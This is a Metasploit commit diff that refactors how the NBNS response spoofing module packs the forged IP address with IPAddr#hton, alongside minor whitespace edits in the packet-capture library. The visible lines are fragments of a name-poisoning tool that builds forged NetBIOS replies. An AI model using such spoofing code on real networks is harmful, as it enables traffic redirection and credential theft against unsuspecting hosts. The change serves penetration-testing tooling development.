Skip to content

Commit d7fa0ec

Browse files
committed
Let IPAddr#hton do the calculating
1 parent 2ea9844 commit d7fa0ec

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

lib/msf/core/exploit/capture.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -251,7 +251,7 @@ def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil)
251251
def inject_reply(proto=:udp, pcap=self.capture)
252252
# Defaults to ~2 seconds
253253
to = (datastore['TIMEOUT'] * 4) / 1000.0
254-
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
254+
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
255255
begin
256256
::Timeout.timeout(to) do
257257
pcap.each do |r|

modules/auxiliary/spoof/nbns/nbns_response.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ def initialize
5757

5858
def dispatch_request(packet, rhost, src_port)
5959
rhost = ::IPAddr.new(rhost)
60-
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
60+
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
6161
# addr like "::ffff:192.168.0.1" when the interface we're listening
6262
# on has an IPv6 address. Convert it to just the v4 addr
6363
if rhost.ipv4_mapped?
@@ -88,7 +88,7 @@ def dispatch_request(packet, rhost, src_port)
8888

8989
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
9090

91-
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
91+
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
9292

9393
if datastore['DEBUG']
9494
print_status("transid: #{nbnsq_transid.unpack('H4')}")
@@ -118,7 +118,7 @@ def dispatch_request(packet, rhost, src_port)
118118
"\x00\x04\x93\xe0" + # TTL = a long ass time
119119
"\x00\x06" + # Datalength = 6
120120
"\x00\x00" + # Flags B-node, unique = whatever that means
121-
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
121+
spoof.hton
122122

123123
pkt = PacketFu::UDPPacket.new
124124
pkt.ip_saddr = Rex::Socket.source_address(rhost)

0 commit comments

Comments
 (0)